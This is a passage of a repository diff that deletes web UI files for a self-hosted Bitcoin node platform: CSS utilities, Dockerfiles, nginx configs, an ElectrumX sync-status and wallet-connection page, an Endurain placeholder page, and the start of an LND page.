.justify-center { justify-content: center; }
/* Gap */
.gap-2 { gap: 0.5rem; }
.gap-3 { gap: 0.75rem; }
.gap-4 { gap: 1rem; }
.gap-6 { gap: 1.5rem; }
/* Grid */
.grid-cols-1 { grid-template-columns: repeat(1, minmax(0, 1fr)); }
.grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
/* Width */
.w-3 { width: 0.75rem; }
.w-4 { width: 1rem; }
.w-5 { width: 1.25rem; }
.w-6 { width: 1.5rem; }
.w-8 { width: 2rem; }
.w-12 { width: 3rem; }
.w-16 { width: 4rem; }
.w-full { width: 100%; }
/* Height */
.h-1 { height: 0.25rem; }
.h-2 { height: 0.5rem; }
.h-3 { height: 0.75rem; }
.h-4 { height: 1rem; }
.h-5 { height: 1.25rem; }
.h-6 { height: 1.5rem; }
.h-8 { height: 2rem; }
.h-12 { height: 3rem; }
.h-16 { height: 4rem; }
.h-full { height: 100%; }
/* Min/Max */
.min-w-0 { min-width: 0px; }
.max-w-2xl { max-width: 42rem; }
.max-w-4xl { max-width: 56rem; }
.max-h-\[80vh\] { max-height: 80vh; }
/* Padding */
.p-2 { padding: 0.5rem; }
.p-3 { padding: 0.75rem; }
.p-4 { padding: 1rem; }
.p-6 { padding: 1.5rem; }
.px-3 { padding-left: 0.75rem; padding-right: 0.75rem; }
.px-4 { padding-left: 1rem; padding-right: 1rem; }
.px-6 { padding-left: 1.5rem; padding-right: 1.5rem; }
.py-2 { padding-top: 0.5rem; padding-bottom: 0.5rem; }
.py-3 { padding-top: 0.75rem; padding-bottom: 0.75rem; }
/* Margin */
.mb-1 { margin-bottom: 0.25rem; }
.mb-2 { margin-bottom: 0.5rem; }
.mb-4 { margin-bottom: 1rem; }
.mb-6 { margin-bottom: 1.5rem; }
.mb-8 { margin-bottom: 2rem; }
.mt-2 { margin-top: 0.5rem; }
.mt-4 { margin-top: 1rem; }
.mx-auto { margin-left: auto; margin-right: auto; }
/* Typography — Size */
.text-xs { font-size: 0.75rem; line-height: 1rem; }
.text-sm { font-size: 0.875rem; line-height: 1.25rem; }
.text-base { font-size: 1rem; line-height: 1.5rem; }
.text-lg { font-size: 1.125rem; line-height: 1.75rem; }
.text-xl { font-size: 1.25rem; line-height: 1.75rem; }
.text-2xl { font-size: 1.5rem; line-height: 2rem; }
.text-3xl { font-size: 1.875rem; line-height: 2.25rem; }
/* Typography — Weight */
.font-medium { font-weight: 500; }
.font-semibold { font-weight: 600; }
.font-bold { font-weight: 700; }
.font-mono { font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace; }
.text-center { text-align: center; }
.truncate { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
/* Typography — Color */
.text-white { color: #ffffff; }
.text-white\/40 { color: rgba(255, 255, 255, 0.4); }
.text-white\/50 { color: rgba(255, 255, 255, 0.5); }
.text-white\/60 { color: rgba(255, 255, 255, 0.6); }
.text-white\/70 { color: rgba(255, 255, 255, 0.7); }
.text-white\/80 { color: rgba(255, 255, 255, 0.8); }
.text-green-400 { color: #4ade80; }
.text-green-500 { color: #22c55e; }
.text-orange-400 { color: #fb923c; }
.text-orange-500 { color: #f97316; }
.text-red-400 { color: #f87171; }
.text-yellow-400 { color: #facc15; }
/* Backgrounds */
.bg-green-400 { background-color: #4ade80; }
.bg-green-500 { background-color: #22c55e; }
.bg-orange-400 { background-color: #fb923c; }
.bg-orange-500 { background-color: #f97316; }
.bg-red-400 { background-color: #f87171; }
.bg-orange-500\/20 { background-color: rgba(249, 115, 22, 0.2); }
.bg-white\/5 { background-color: rgba(255, 255, 255, 0.05); }
.bg-white\/10 { background-color: rgba(255, 255, 255, 0.1); }
.bg-black\/20 { background-color: rgba(0, 0, 0, 0.2); }
.bg-black\/40 { background-color: rgba(0, 0, 0, 0.4); }
.bg-black\/60 { background-color: rgba(0, 0, 0, 0.6); }
.bg-black\/80 { background-color: rgba(0, 0, 0, 0.8); }
/* Gradients */
.bg-gradient-to-r { background-image: linear-gradient(to right, var(--tw-gradient-stops)); }
.from-orange-500 { --tw-gradient-from: #f97316; --tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to, rgba(249, 115, 22, 0)); }
.from-orange-400 { --tw-gradient-from: #fb923c; --tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to, rgba(251, 146, 60, 0)); }
.to-yellow-400 { --tw-gradient-to: #facc15; }
.to-orange-600 { --tw-gradient-to: #ea580c; }
/* Border */
.border { border-width: 1px; }
.border-white\/10 { border-color: rgba(255, 255, 255, 0.1); }
.border-white\/20 { border-color: rgba(255, 255, 255, 0.2); }
.border-orange-500\/30 { border-color: rgba(249, 115, 22, 0.3); }
/* Border Radius */
.rounded { border-radius: 0.25rem; }
.rounded-lg { border-radius: 0.5rem; }
.rounded-xl { border-radius: 0.75rem; }
.rounded-2xl { border-radius: 1rem; }
.rounded-full { border-radius: 9999px; }
/* Overflow */
.overflow-hidden { overflow: hidden; }
.overflow-y-auto { overflow-y: auto; }
/* Opacity */
.opacity-0 { opacity: 0; }
.opacity-75 { opacity: 0.75; }
.opacity-100 { opacity: 1; }
/* Z-Index */
.z-10 { z-index: 10; }
.z-50 { z-index: 50; }
/* Spacing utilities */
.space-y-2 > :not([hidden]) ~ :not([hidden]) { margin-top: 0.5rem; }
.space-y-3 > :not([hidden]) ~ :not([hidden]) { margin-top: 0.75rem; }
.space-y-4 > :not([hidden]) ~ :not([hidden]) { margin-top: 1rem; }
/* Backdrop filter */
.backdrop-blur-sm { -webkit-backdrop-filter: blur(4px); backdrop-filter: blur(4px); }
.backdrop-blur-md { -webkit-backdrop-filter: blur(12px); backdrop-filter: blur(12px); }
.backdrop-blur-xl { -webkit-backdrop-filter: blur(24px); backdrop-filter: blur(24px); }
/* Transitions */
.transition-all { transition-property: all; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
.transition-opacity { transition-property: opacity; transition-timing-function: cubic-bezier(0.4, 0, 0.2, 1); transition-duration: 150ms; }
.duration-300 { transition-duration: 300ms; }
.duration-500 { transition-duration: 500ms; }
/* Text wrapping */
.whitespace-pre-wrap { white-space: pre-wrap; }
.break-all { word-break: break-all; }
/* Cursor */
.cursor-pointer { cursor: pointer; }
/* Responsive: md (768px+) */
@media (min-width: 768px) {
.md\:flex-row { flex-direction: row; }
.md\:items-center { align-items: center; }
.md\:gap-4 { gap: 1rem; }
.md\:gap-6 { gap: 1.5rem; }
.md\:w-auto { width: auto; }
.md\:mt-0 { margin-top: 0; }
.md\:grid-cols-4 { grid-template-columns: repeat(4, minmax(0, 1fr)); }
.md\:grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
}
/* Responsive: lg (1024px+) */
@media (min-width: 1024px) {
.lg\:grid-cols-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
}

View File

@@ -1,11 +0,0 @@
FROM docker.io/library/nginx:alpine
COPY index.html /usr/share/nginx/html/
COPY qrcode.js /usr/share/nginx/html/
COPY nginx.conf /etc/nginx/conf.d/default.conf
RUN mkdir -p /usr/share/nginx/html/assets/img
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

View File

@@ -1,433 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<title>ElectrumX - Archipelago</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; min-height: 100vh; color: white; overflow-x: hidden; }
.bg-layer { position: fixed; inset: 0; z-index: -10; background: linear-gradient(135deg, rgba(0,0,0,0.9) 0%, rgba(30,30,50,0.95) 100%); }
.overlay { position: fixed; inset: 0; background: rgba(0, 0, 0, 0.8); z-index: -5; }
.glass-card { background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(24px); -webkit-backdrop-filter: blur(24px); border-radius: 1rem; border: 1px solid rgba(255, 255, 255, 0.18); }
.info-card { background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(24px); border-radius: 16px; padding: 12px; border: 1px solid rgba(255, 255, 255, 0.1); }
@keyframes progressGlow { 0%, 100% { box-shadow: 0 0 10px rgba(251, 146, 60, 0.5); } 50% { box-shadow: 0 0 20px rgba(251, 146, 60, 0.8); } }
.progress-glow { animation: progressGlow 2s ease-in-out infinite; }
@keyframes spin { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
.animate-spin-slow { animation: spin 3s linear infinite; }
.animate-pulse { animation: pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite; }
@keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } }
.container { max-width: 56rem; margin: 0 auto; padding: 2rem; }
.flex { display: flex; }
.flex-col { flex-direction: column; }
.items-center { align-items: center; }
.items-start { align-items: start; }
.gap-3 { gap: 0.75rem; }
.gap-4 { gap: 1rem; }
.flex-1 { flex: 1; }
.flex-shrink-0 { flex-shrink: 0; }
.mb-1 { margin-bottom: 0.25rem; }
.mb-2 { margin-bottom: 0.5rem; }
.mb-4 { margin-bottom: 1rem; }
.mb-6 { margin-bottom: 1.5rem; }
.p-6 { padding: 1.5rem; }
.grid { display: grid; }
.grid-cols-2 { grid-template-columns: repeat(2, 1fr); }
.rounded-lg { border-radius: 0.5rem; }
.rounded-full { border-radius: 9999px; }
.overflow-hidden { overflow: hidden; }
.transition-all { transition: all 0.5s ease; }
.text-xs { font-size: 0.75rem; }
.text-sm { font-size: 0.875rem; }
.text-lg { font-size: 1.125rem; }
.text-xl { font-size: 1.25rem; }
.text-2xl { font-size: 1.5rem; }
.font-bold { font-weight: 700; }
.font-semibold { font-weight: 600; }
.font-medium { font-weight: 500; }
.font-mono { font-family: monospace; }
.icon-box { width: 4rem; height: 4rem; border-radius: 0.5rem; background: rgba(249, 115, 22, 0.2); display: flex; align-items: center; justify-content: center; }
.icon-box-sm { width: 3rem; height: 3rem; border-radius: 0.5rem; background: rgba(249, 115, 22, 0.2); display: flex; align-items: center; justify-content: center; }
.status-dot { width: 0.75rem; height: 0.75rem; border-radius: 9999px; }
.progress-bar-bg { width: 100%; background: rgba(255,255,255,0.1); border-radius: 9999px; height: 0.75rem; overflow: hidden; }
.progress-bar { height: 100%; background: linear-gradient(to right, #f97316, #facc15); border-radius: 9999px; transition: width 0.5s ease; }
.text-white { color: white; }
.text-white-70 { color: rgba(255,255,255,0.7); }
.text-white-60 { color: rgba(255,255,255,0.6); }
.text-white-90 { color: rgba(255,255,255,0.9); }
.text-amber { color: #fbbf24; }
.text-green { color: #4ade80; }
.text-red { color: #f87171; }
.text-orange { color: #fb923c; }
.bg-amber { background: #fbbf24; }
.bg-green { background: #4ade80; }
.bg-red { background: #f87171; }
.bg-yellow { background: #facc15; }
.justify-between { justify-content: space-between; }
@media (min-width: 768px) {
.md-flex-row { flex-direction: row; }
.md-grid-cols-4 { grid-template-columns: repeat(4, 1fr); }
}
/* Connection details */
.conn-tabs { display: flex; background: rgba(255,255,255,0.08); border-radius: 0.5rem; overflow: hidden; margin-bottom: 1.5rem; }
.conn-tab { flex: 1; padding: 0.625rem 1rem; text-align: center; font-size: 0.875rem; font-weight: 600; cursor: pointer; transition: all 0.2s ease; color: rgba(255,255,255,0.5); border: none; background: none; }
.conn-tab.active { background: rgba(74, 222, 128, 0.2); color: #4ade80; }
.conn-tab:hover:not(.active) { color: rgba(255,255,255,0.8); }
.conn-layout { display: flex; flex-direction: column; gap: 1.5rem; }
@media (min-width: 640px) { .conn-layout { flex-direction: row; } }
.qr-box { flex-shrink: 0; width: 196px; background: white; border-radius: 0.75rem; padding: 0.75rem; display: flex; align-items: center; justify-content: center; }
.qr-box img { width: 100%; height: auto; display: block; image-rendering: pixelated; }
.conn-fields { flex: 1; display: flex; flex-direction: column; gap: 0.75rem; }
.field-label { font-size: 0.6875rem; font-weight: 600; text-transform: uppercase; letter-spacing: 0.05em; color: rgba(255,255,255,0.45); margin-bottom: 0.25rem; }
.field-row { display: flex; align-items: center; background: rgba(255,255,255,0.06); border: 1px solid rgba(255,255,255,0.1); border-radius: 0.5rem; overflow: hidden; }
.field-value { flex: 1; padding: 0.625rem 0.875rem; font-family: monospace; font-size: 0.9375rem; color: rgba(255,255,255,0.9); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.copy-btn { padding: 0.625rem 0.75rem; background: none; border: none; border-left: 1px solid rgba(255,255,255,0.1); cursor: pointer; color: rgba(255,255,255,0.4); transition: all 0.2s ease; display: flex; align-items: center; }
.copy-btn:hover { color: rgba(255,255,255,0.8); background: rgba(255,255,255,0.05); }
.copy-btn.copied { color: #4ade80; }
.field-row-split { display: flex; gap: 0.75rem; }
.field-row-split > div { flex: 1; }
.conn-disabled { text-align: center; padding: 2rem 1rem; }
.help-text { margin-top: 1.5rem; padding-top: 1.25rem; border-top: 1px solid rgba(255,255,255,0.08); font-size: 0.875rem; color: rgba(255,255,255,0.5); line-height: 1.5; }
.version-text { font-size: 0.75rem; color: rgba(255,255,255,0.4); }
</style>
</head>
<body>
<div class="bg-layer"></div>
<div class="overlay"></div>
<div class="container">
<!-- Header -->
<div class="glass-card p-6 mb-6">
<div class="flex flex-col md-flex-row items-center gap-4">
<div class="icon-box flex-shrink-0">
<svg style="width:2rem;height:2rem;color:#f97316" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 7v10c0 2.21 3.582 4 8 4s8-1.79 8-4V7M4 7c0 2.21 3.582 4 8 4s8-1.79 8-4M4 7c0-2.21 3.582-4 8-4s8 1.79 8 4" />
</svg>
</div>
<div class="flex-1">
<div class="flex items-center gap-3">
<h1 class="text-2xl font-bold text-white">ElectrumX</h1>
<span class="version-text">v1.18.0</span>
</div>
<p class="text-white-70">Bitcoin Electrum server for wallet connections</p>
</div>
<div class="info-card flex items-center gap-3">
<div id="statusDot" class="status-dot bg-yellow"></div>
<div>
<p class="text-xs text-white-60">Status</p>
<p class="text-sm font-medium text-white" id="statusText">Checking...</p>
</div>
</div>
</div>
</div>
<!-- Sync Status -->
<div class="glass-card p-6 mb-6">
<div class="flex items-start gap-4 mb-4">
<div class="icon-box-sm flex-shrink-0">
<svg id="syncIcon" style="width:1.5rem;height:1.5rem;color:#f97316" class="animate-spin-slow" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15" />
</svg>
</div>
<div class="flex-1">
<h2 class="text-xl font-semibold text-white mb-1">Index Sync</h2>
<p class="text-white-70 text-sm" id="syncStatusText">Checking sync status...</p>
</div>
</div>
<div class="mb-4">
<div class="flex justify-between text-sm text-white-60 mb-2">
<span id="currentBlock">Block 0</span>
<span id="syncPercentage">0%</span>
</div>
<div class="progress-bar-bg">
<div class="progress-bar progress-glow" id="syncProgressBar" style="width: 0%"></div>
</div>
</div>
<div class="grid grid-cols-2 md-grid-cols-4 gap-3">
<div class="info-card">
<p class="text-xs text-white-60 mb-1">Indexed Height</p>
<p class="text-lg font-semibold text-white" id="indexedHeight">-</p>
</div>
<div class="info-card">
<p class="text-xs text-white-60 mb-1">Network Height</p>
<p class="text-lg font-semibold text-white" id="networkHeight">-</p>
</div>
<div class="info-card">
<p class="text-xs text-white-60 mb-1">Index Size</p>
<p class="text-lg font-semibold text-white" id="indexSize">-</p>
</div>
<div class="info-card">
<p class="text-xs text-white-60 mb-1">Progress</p>
<p class="text-lg font-semibold text-white" id="progressPct">-</p>
</div>
</div>
</div>
<!-- Connection Details -->
<div class="glass-card p-6">
<h2 class="text-xl font-semibold text-white mb-1">Connect Your Wallet</h2>
<p class="text-white-70 text-sm mb-4" id="connSubtitle">Use the following details to connect your wallet or application to ElectrumX.</p>
<div class="conn-tabs">
<button class="conn-tab active" id="tabLocal" onclick="switchTab('local')">Local Network</button>
<button class="conn-tab" id="tabTor" onclick="switchTab('tor')">Tor</button>
</div>
<!-- Local Network Tab -->
<div id="panelLocal" class="conn-layout">
<div class="qr-box" id="qrLocalBox"></div>
<div class="conn-fields">
<div>
<div class="field-label">Address</div>
<div class="field-row">
<span class="field-value" id="localAddress">-</span>
<button class="copy-btn" onclick="copyField('localAddress', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
<div class="field-row-split">
<div>
<div class="field-label">Port</div>
<div class="field-row">
<span class="field-value">50001</span>
<button class="copy-btn" onclick="copyText('50001', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
<div>
<div class="field-label">SSL</div>
<div class="field-row">
<span class="field-value">Disabled</span>
<button class="copy-btn" onclick="copyText('Disabled', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
</div>
</div>
</div>
<!-- Tor Tab -->
<div id="panelTor" style="display:none">
<div id="torAvailable" class="conn-layout" style="display:none">
<div class="qr-box" id="qrTorBox"></div>
<div class="conn-fields">
<div>
<div class="field-label">Onion Address</div>
<div class="field-row">
<span class="field-value" id="torAddress" style="font-size:0.75rem">-</span>
<button class="copy-btn" onclick="copyField('torAddress', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
<div class="field-row-split">
<div>
<div class="field-label">Port</div>
<div class="field-row">
<span class="field-value">50001</span>
<button class="copy-btn" onclick="copyText('50001', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
<div>
<div class="field-label">SSL</div>
<div class="field-row">
<span class="field-value">Disabled</span>
<button class="copy-btn" onclick="copyText('Disabled', this)" title="Copy">
<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>
</button>
</div>
</div>
</div>
</div>
</div>
<div id="torUnavailable" class="conn-disabled">
<svg style="width:2.5rem;height:2.5rem;color:rgba(255,255,255,0.25);margin:0 auto 0.75rem" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" />
</svg>
<p class="text-white-70" style="font-size:0.9375rem">Tor hidden service not configured for ElectrumX.</p>
<p class="text-white-60 text-sm" style="margin-top:0.375rem">Enable Tor for ElectrumX in Settings to connect remotely.</p>
</div>
</div>
<div class="help-text">
Connect using <strong style="color:rgba(255,255,255,0.8)">Sparrow Wallet</strong>, <strong style="color:rgba(255,255,255,0.8)">Electrum</strong>, or any Electrum-protocol compatible wallet. Set the server to the address and port shown above with SSL disabled.
</div>
</div>
</div>
<script src="qrcode.js"></script>
<script>
var currentTab = 'local';
var torOnion = null;
function renderQR(containerId, text) {
var container = document.getElementById(containerId);
if (!container) return;
container.innerHTML = '';
try {
var qr = qrcode(0, 'M');
qr.addData(text);
qr.make();
container.innerHTML = qr.createImgTag(5, 0);
} catch(e) {
container.innerHTML = '<div style="color:#999;font-size:12px;text-align:center;padding:2rem">QR unavailable</div>';
}
}
function switchTab(tab) {
currentTab = tab;
document.getElementById('tabLocal').classList.toggle('active', tab === 'local');
document.getElementById('tabTor').classList.toggle('active', tab === 'tor');
document.getElementById('panelLocal').style.display = tab === 'local' ? '' : 'none';
document.getElementById('panelTor').style.display = tab === 'tor' ? '' : 'none';
}
var COPY_SVG = '<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><rect x="9" y="9" width="13" height="13" rx="2" ry="2" stroke-width="2"/><path d="M5 15H4a2 2 0 01-2-2V4a2 2 0 012-2h9a2 2 0 012 2v1" stroke-width="2"/></svg>';
var CHECK_SVG = '<svg width="16" height="16" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/></svg>';
function flashCopied(btn) {
btn.classList.add('copied');
var orig = btn.innerHTML;
btn.innerHTML = CHECK_SVG;
setTimeout(function() {
btn.classList.remove('copied');
btn.innerHTML = orig;
}, 1500);
}
function copyField(id, btn) {
var text = document.getElementById(id).textContent.trim();
if (!text || text === '-') return;
navigator.clipboard.writeText(text).then(function() { flashCopied(btn); });
}
function copyText(text, btn) {
navigator.clipboard.writeText(text).then(function() { flashCopied(btn); });
}
function copyConnStr(type) {
var id = type === 'tor' ? 'torConnStr' : 'localConnStr';
var btn = type === 'tor' ? document.querySelector('#torAvailable .conn-string-copy') : document.getElementById('localCopyAll');
var text = document.getElementById(id).textContent.trim();
if (!text || text === '-') return;
navigator.clipboard.writeText(text).then(function() {
btn.classList.add('copied');
var orig = btn.textContent;
btn.textContent = 'Copied!';
setTimeout(function() {
btn.classList.remove('copied');
btn.textContent = orig;
}, 1500);
});
}
function updateConnectionInfo() {
var host = window.location.hostname;
document.getElementById('localAddress').textContent = host;
renderQR('qrLocalBox', host + ':50001:t');
if (torOnion) {
document.getElementById('torAvailable').style.display = '';
document.getElementById('torUnavailable').style.display = 'none';
document.getElementById('torAddress').textContent = torOnion;
renderQR('qrTorBox', torOnion + ':50001:t');
} else {
document.getElementById('torAvailable').style.display = 'none';
document.getElementById('torUnavailable').style.display = '';
}
}
function applyTorOnion(onion) {
if (onion) {
torOnion = onion;
updateConnectionInfo();
}
}
async function updateStatus() {
try {
var resp = await fetch('electrs-status');
var data = await resp.json();
// Extract Tor onion from status response
if (data.tor_onion && !torOnion) {
applyTorOnion(data.tor_onion);
}
var indexedH = data.indexed_height || 0;
var networkH = data.network_height || 0;
var pct = data.progress_pct || 0;
// Show indexed height, or index size when still building
if (indexedH > 0) {
document.getElementById('indexedHeight').textContent = indexedH.toLocaleString();
document.getElementById('currentBlock').textContent = 'Block ' + indexedH.toLocaleString();
} else if (data.index_size) {
document.getElementById('indexedHeight').textContent = data.index_size;
document.getElementById('currentBlock').textContent = 'Index: ' + data.index_size;
} else {
document.getElementById('indexedHeight').textContent = '-';
document.getElementById('currentBlock').textContent = 'Block 0';
}
document.getElementById('networkHeight').textContent = networkH > 0 ? networkH.toLocaleString() : '-';
document.getElementById('indexSize').textContent = data.index_size || '-';
document.getElementById('progressPct').textContent = pct > 0 ? pct.toFixed(1) + '%' : '-';
document.getElementById('syncPercentage').textContent = pct > 0 ? pct.toFixed(1) + '%' : '0%';
document.getElementById('syncProgressBar').style.width = Math.max(pct, 0.5) + '%';
var statusTextEl = document.getElementById('syncStatusText');
var statusDot = document.getElementById('statusDot');
var syncIcon = document.getElementById('syncIcon');
if (data.status === 'indexing') {
var indexMsg = data.index_size ? 'Building index (' + data.index_size + ')...' : 'Building index...';
statusTextEl.textContent = indexMsg;
statusTextEl.style.color = '#fbbf24';
statusDot.className = 'status-dot bg-amber animate-pulse';
document.getElementById('statusText').textContent = 'Indexing';
syncIcon.classList.add('animate-spin-slow');
document.getElementById('connSubtitle').textContent = 'Wallet connections will be available once indexing completes. This can take several hours on first run.';
} else if (data.status === 'error') {
statusTextEl.textContent = data.error || 'Unknown error';
statusTextEl.style.color = '#f87171';
statusDot.className = 'status-dot bg-red';
document.getElementById('statusText').textContent = 'Error';
document.getElementById('connSubtitle').textContent = 'Connections will be available once ElectrumX has completed syncing.';
} else if (data.status === 'synced') {
statusTextEl.textContent = 'Fully synchronized with the network';
statusTextEl.style.color = '#4ade80';
statusDot.className = 'status-dot bg-green';
document.getElementById('statusText').textContent = 'Synced';
syncIcon.classList.remove('animate-spin-slow');
syncIcon.style.color = '#4ade80';
document.getElementById('connSubtitle').textContent = 'Use the following details to connect your wallet or application to ElectrumX.';
} else {
var remaining = networkH - indexedH;
statusTextEl.textContent = 'Syncing... ' + remaining.toLocaleString() + ' blocks remaining';
statusTextEl.style.color = '#fb923c';
statusDot.className = 'status-dot bg-yellow';
document.getElementById('statusText').textContent = 'Syncing';
syncIcon.classList.add('animate-spin-slow');
document.getElementById('connSubtitle').textContent = 'Connections will be available once ElectrumX has completed syncing.';
}
} catch (e) {
document.getElementById('syncStatusText').textContent = 'Unable to fetch status: ' + e.message;
document.getElementById('syncStatusText').style.color = '#f87171';
}
}
updateStatus();
updateConnectionInfo();
setInterval(updateStatus, 5000);
</script>
</body>
</html>

View File

@@ -1,19 +0,0 @@
server {
listen 50002;
server_name _;
root /usr/share/nginx/html;
index index.html;
location /electrs-status {
proxy_pass http://127.0.0.1:5678/electrs-status;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
add_header Access-Control-Allow-Origin *;
}
location / {
try_files $uri $uri/ /index.html;
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,47 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Endurain - Coming Soon</title>
<style>
body {
margin: 0;
padding: 0;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
display: flex;
align-items: center;
justify-content: center;
min-height: 100vh;
}
.container {
text-align: center;
padding: 2rem;
}
h1 {
font-size: 3rem;
margin-bottom: 1rem;
}
p {
font-size: 1.2rem;
opacity: 0.9;
}
.status {
display: inline-block;
background: rgba(255, 255, 255, 0.2);
padding: 0.5rem 1rem;
border-radius: 20px;
margin-top: 1rem;
}
</style>
</head>
<body>
<div class="container">
<h1>Endurain</h1>
<p>Application platform for decentralized services</p>
<div class="status">🚧 Coming Soon</div>
</div>
</body>
</html>

View File

@@ -1,22 +0,0 @@
FROM docker.io/library/nginx:alpine
# Copy the HTML file
COPY index.html /usr/share/nginx/html/
COPY tailwind.css /usr/share/nginx/html/
COPY qrcode.js /usr/share/nginx/html/
# Create directories for assets
RUN mkdir -p /usr/share/nginx/html/assets/img/app-icons && \
mkdir -p /usr/share/nginx/html/assets/img
# Copy assets
COPY lnd.svg /usr/share/nginx/html/assets/img/app-icons/
COPY bg-web5.jpg /usr/share/nginx/html/assets/img/
COPY bg-intro.jpg /usr/share/nginx/html/assets/img/
# Copy nginx config
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 570 KiB

View File

@@ -1,657 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<title>LND - Archipelago</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; min-height: 100vh; color: white; overflow-x: hidden; }
.bg-layer { position: fixed; inset: 0; z-index: -10; background: linear-gradient(135deg, rgba(0,0,0,0.9) 0%, rgba(30,30,50,0.95) 100%); }
.overlay { position: fixed; inset: 0; background: rgba(0, 0, 0, 0.8); z-index: -5; }
.glass-card { background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(24px); -webkit-backdrop-filter: blur(24px); border-radius: 1rem; border: 1px solid rgba(255, 255, 255, 0.18); }
.info-card { background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(24px); border-radius: 16px; padding: 12px; border: 1px solid rgba(255, 255, 255, 0.1); }
.info-card-button { background: rgba(0, 0, 0, 0.6); backdrop-filter: blur(24px); border-radius: 16px; padding: 12px; border: 1px solid rgba(255, 255, 255, 0.1); cursor: pointer; color: rgba(255,255,255,0.9); transition: all 0.3s ease; }
.info-card-button:hover { transform: translateY(-2px); background: rgba(255,255,255,0.08); }
.info-card-button:active { transform: translateY(1px); }
.glass-button { background-color: rgba(0, 0, 0, 0.6); backdrop-filter: blur(18px); -webkit-backdrop-filter: blur(18px); border: 1px solid rgba(255, 255, 255, 0.18); color: rgba(255, 255, 255, 0.9); transition: all 0.3s ease; cursor: pointer; }
.glass-button:hover { color: white; background-color: rgba(0, 0, 0, 0.7); }
.glass-button:disabled { opacity: 0.5; cursor: not-allowed; }
